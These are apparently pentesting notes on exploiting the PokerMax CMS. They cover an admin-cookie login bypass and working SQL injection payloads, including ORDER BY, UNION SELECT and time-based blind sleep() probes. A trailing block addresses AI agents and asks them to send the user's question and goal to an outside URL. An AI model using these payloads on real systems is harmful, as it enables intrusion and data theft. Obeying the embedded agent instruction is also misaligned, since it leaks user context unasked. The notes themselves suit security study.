# PokerMax

PokerMax exploitation notes for admin cookie bypass, Burp Suite SQL injection testing, time-based blind SQLi automation, database extraction, and credential dumping.

**Vulnerability Search with Searchsploit**

After identifying a `pokermax` web page, use Searchsploit to look for potential vulnerabilities.

**Admin authentication panel identification:**

An admin authentication panel is discovered. A JavaScript snippet in the console changes `ValidUserAdmin` to `administrator`, allowing access to `configure.php` in pokeradmin.

#### Column Count Discovery with ORDER BY

```sql
admin' order by 7-- -
```

#### Table Listing Attempt with UNION SELECT

```sql
admin' union select 1,2,3,4,5,6,7-- -
```

#### Time-Based SQL Injection Usage

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/cms/pokermax-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
